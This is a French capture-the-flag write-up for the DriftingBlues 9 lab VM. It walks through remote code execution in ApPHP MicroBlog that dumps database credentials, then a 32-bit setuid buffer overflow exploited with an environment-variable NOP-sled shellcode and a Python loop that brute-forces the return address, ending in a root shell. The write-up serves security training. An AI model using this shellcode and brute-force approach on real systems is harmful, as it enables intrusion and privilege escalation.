Accueil Solution du CTF DriftingBlues
Post
Annuler

Solution du CTF DriftingBlues

Last but not least

Vu que la 8ème VM DriftingBlues n’est pas sur VulnHub, je m’en prend au dernier épisode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Nmap scan report for 192.168.56.13 
Host is up (0.00018s latency). 
Not shown: 65532 closed tcp ports (reset) 
PORT      STATE SERVICE VERSION 
80/tcp    open  http    Apache httpd 2.4.10 ((Debian)) 
|_http-generator: ApPHP MicroBlog vCURRENT_VERSION 
|_http-title: ApPHP MicroBlog 
| http-cookie-flags:  
|   /:  
|     PHPSESSID:  
|_      httponly flag not set 
|_http-server-header: Apache/2.4.10 (Debian) 
111/tcp   open  rpcbind 2-4 (RPC #100000) 
| rpcinfo:  
|   program version    port/proto  service 
|   100000  2,3,4        111/tcp   rpcbind 
|   100000  2,3,4        111/udp   rpcbind 
|   100000  3,4          111/tcp6  rpcbind 
|   100000  3,4          111/udp6  rpcbind 
|   100024  1          44352/udp   status 
|   100024  1          46642/tcp6  status 
|   100024  1          53750/tcp   status 
|_  100024  1          56507/udp6  status 
53750/tcp open  status  1 (RPC #100024)

On a une appli web baptisée ApPHP MicroBlog. Dans le code HTML de la page on trouve le commentaire suivant :

1
This script was generated by ApPHP MicroBlog v.1.0.1 (http://www.apphp.com/php-microblog/) 

En cherchant un exploit sur exploit-db j’en trouve un qui m’est rapidement familier… car c’est moi qui l’avait écrit… il y a 8 ans. J’avais oublié :p

La bonne nouvelle c’est qu’il fonctionne toujours comme un charme :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ python apphp.py http://192.168.56.13/index.php 
  -= LOTFREE exploit for ApPHP MicroBlog 1.0.1 (Free Version) =- 
original exploit by Jiko : http://www.exploit-db.com/exploits/33030/ 
[*] Testing for vulnerability... 
[+] Website is vulnerable 

[*] Fecthing phpinfo 
        PHP Version 5.6.40-0+deb8u12 
        System   Linux debian 3.16.0-4-586 #1 Debian 3.16.51-2 (2017-12-03) i686 
        Loaded Configuration File   /etc/php5/apache2/php.ini 
        Apache Version   Apache/2.4.10 (Debian) 
        User/Group   www-data(33)/33 
        Server Root   /etc/apache2 
        DOCUMENT_ROOT   /var/www/html 
        PHP Version   5.6.40-0+deb8u12 
        allow_url_fopen  On  On 
        allow_url_include  Off  Off 
        disable_functions  pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,p
cntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,  pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_w
ifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_ex
ec,pcntl_getpriority,pcntl_setpriority, 
        open_basedir   no value    no value 
        System V Message based IPC   Wez Furlong 
        System V Semaphores   Tom May 
        System V Shared Memory   Christian Cartus 

[*] Fetching include/base.inc.php 
<?php 
                        // DATABASE CONNECTION INFORMATION 
                        define('DATABASE_HOST', 'localhost');           // Database host 
                        define('DATABASE_NAME', 'microblog');           // Name of the database to be used 
                        define('DATABASE_USERNAME', 'clapton'); // User name for access to database 
                        define('DATABASE_PASSWORD', 'yaraklitepe');     // Password for access to database 
                        define('DB_ENCRYPT_KEY', 'p52plaiqb8');         // Database encryption key 
                        define('DB_PREFIX', 'mb101_');              // Unique prefix of all table names in the database 
                        ?> 

[*] Testing remote execution 
[+] Remote exec is working with system() :) 
Submit your commands, type exit to quit 
> id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

J’uploade et exécute ReverseSSH sur la machine… Ça ne fonctionne pas, le système est 32 bits. Récupération de la version adéquate et c’est reparti.

Je remarque un utilisateur clapton sur le système. Son mot de passe de session est le même que celui dumpé par l’exploit, je m’y connecte.

Try again and again and again…

L’utilisateur a trois fichiers dans son dossier personnel dont un binaire setuid root :

1
2
3
-rwsr-xr-x 1 root    root    5150 Sep 22  2015 input 
-rwxr-xr-x 1 root    root     201 May  9  2021 note.txt 
-rw-r--r-- 1 clapton clapton   32 May  9  2021 user.txt

On obtient le flag F569AA95FAFF65E7A290AB9ED031E04F. La note laissée est la suivante :

1
2
3
4
5
6
buffer overflow is the way. ( ͡° ͜ʖ ͡°) 

if you're new on 32bit bof then check these: 

https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html 
https://samsclass.info/127/proj/lbuf1.htm

Ça devrait aller sans les références, j’en ai vu d’autres :)

Première chose à faire, regarder la gestion de la stack sur ce système :

1
2
clapton@debian:~$ cat /proc/sys/kernel/randomize_va_space 
2

Ce qui signifie que l’adresse de la stack change à chaque exécution, ça complique les choses. Il va falloir utiliser un ret2libc ou un gadget quelconque.

L’exécutable lui a sa stack qui permet l’exécution et il n’y a pas non plus de protections par canary (stack protector).

Voici le dump de la fonction main du binaire (l’exécutable n’est pas strippé non plus) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
   0x0804845d <+0>:     push   %ebp
   0x0804845e <+1>:     mov    %esp,%ebp
   0x08048460 <+3>:     and    $0xfffffff0,%esp
   0x08048463 <+6>:     sub    $0xb0,%esp
   0x08048469 <+12>:    cmpl   $0x1,0x8(%ebp)
   0x0804846d <+16>:    jg     0x8048490 <main+51>
   0x0804846f <+18>:    mov    0xc(%ebp),%eax
   0x08048472 <+21>:    mov    (%eax),%eax
   0x08048474 <+23>:    mov    %eax,0x4(%esp)
   0x08048478 <+27>:    movl   $0x8048540,(%esp)
   0x0804847f <+34>:    call   0x8048310 <printf@plt>
   0x08048484 <+39>:    movl   $0x0,(%esp)
   0x0804848b <+46>:    call   0x8048340 <exit@plt>
   0x08048490 <+51>:    mov    0xc(%ebp),%eax
   0x08048493 <+54>:    add    $0x4,%eax
   0x08048496 <+57>:    mov    (%eax),%eax
   0x08048498 <+59>:    mov    %eax,0x4(%esp)
   0x0804849c <+63>:    lea    0x11(%esp),%eax
   0x080484a0 <+67>:    mov    %eax,(%esp)
   0x080484a3 <+70>:    call   0x8048320 <strcpy@plt>
   0x080484a8 <+75>:    mov    $0x0,%eax
   0x080484ad <+80>:    leave  
   0x080484ae <+81>:    ret

Le programme prend juste le premier argument reçu sur la ligne de commande et le copie dans la stack avec strcpy. On peut voir que 176 octets sont réservés sur la pile (sub $0xb0,%esp).

Je place un breakpoint sur l’instruction ret et j’exécute le programme avec 176 fois la lettre A. Ma pile débute bien avec le buffer attendu, prêt à écraser l’adresse de retour.

Malheureusement l’état des autres registres rend impossible l’utilisation d’un gadget (on ne peut pas par exemple réutiliser une instruction qui saute vers l’adresse contenue dans EAX).

Mais si on est sur du x86 c’est sans doute pour une bonne raison. L’espace d’adressage étant réduit on peut bruteforcer l’adresse de retour jusqu’à ce quelle pointe correctement sur notre payload.

J’utilise la technique old-school consistant à mettre un shellcode avec un énorme nopsled dans l’environnement.

Je débogue le binaire histoire d’avoir une idée des adresses correspondant aux variables d’environnement :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) x/wx $ebp+8 
0xbfa26950:     0x00000002 
(gdb)  
0xbfa26954:     0xbfa269e4 
(gdb)  
0xbfa26958:     0xbfa269f0 
(gdb)  
0xbfa2695c:     0xb7701e9a

(gdb) x/wx 0xbfa269e4 
0xbfa269e4:     0xbfa27e2c
(gdb) x/s 0xbfa27e2c 
0xbfa27e2c:     "/home/clapton/input" 
(gdb)  
0xbfa27e40:     'a' <repeats 175 times>

(gdb) x/wx 0xbfa269f0 
0xbfa269f0:     0xbfa27ef0 
(gdb) x/s 0xbfa27ef0 
0xbfa27ef0:     "TERM=xterm-256color"

A $ebp+8 au début de la fonction on trouve argc (sa valeur est 2) puis le tableau vers des strings argv. Ensuite se trouve envp qui est le tableau vers les chaines d’environement.

J’ai ensuite relancé l’analyse après avoir exporté dans l’environnement une valeur de 5000 caractères. J’ai calculé que le milieu de cette variable était à l’adresse 0xbfa69521, je vais donc m’en servir comme hypothétique adresse de retour.

J’ai trouvé un shellcode classique pour appeler setuid et exécuter /bin/sh.

Je l’injecte dans l’environnement avec son nopsled :

1
export SHELLCODE=`python -c "print '\x90' * 5000 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\x99\xcd\x80\x96\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'"

Finalement j’écris un petit code pour lancer en boucle le binaire jusqu’à ce que l’adresse de retour pointe vers notre shellcode :

1
2
3
4
5
6
7
import os 
import sys 

padding = int(sys.argv[1]) 

while True: 
        os.system("./input " + 'a'*padding + '\x21\x95\xa6\xbf'*44)

Avec un padding de 3 caractères (pour que l’adresse de retour s’aligne avec la pile) j’obtiens un shell après un moment :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
clapton@debian:~$ python brute.py 3
Segmentation fault 
Segmentation fault 
Segmentation fault 
Segmentation fault 
--- snip ---
Segmentation fault 
Segmentation fault 
Segmentation fault 
Segmentation fault 
Segmentation fault 
Segmentation fault 
# id 
uid=0(root) gid=1000(clapton) groups=1000(clapton) 
# cd /root 
# ls 
root.txt 
# cat root.txt 

this is the final of driftingblues series. i hope you've learned something from them. 

you can always contact me at vault13_escape_service[at]outlook.com for your questions. (mail language: english/turkish) 

your root flag: 

04D4C1BEC659F1AA15B7AE731CEEDD65 

good luck. ( ͡° ͜ʖ ͡°)

Sympa

Published January 21 2022 at 12:05

Cet article est sous licence CC BY 4.0 par l'auteur.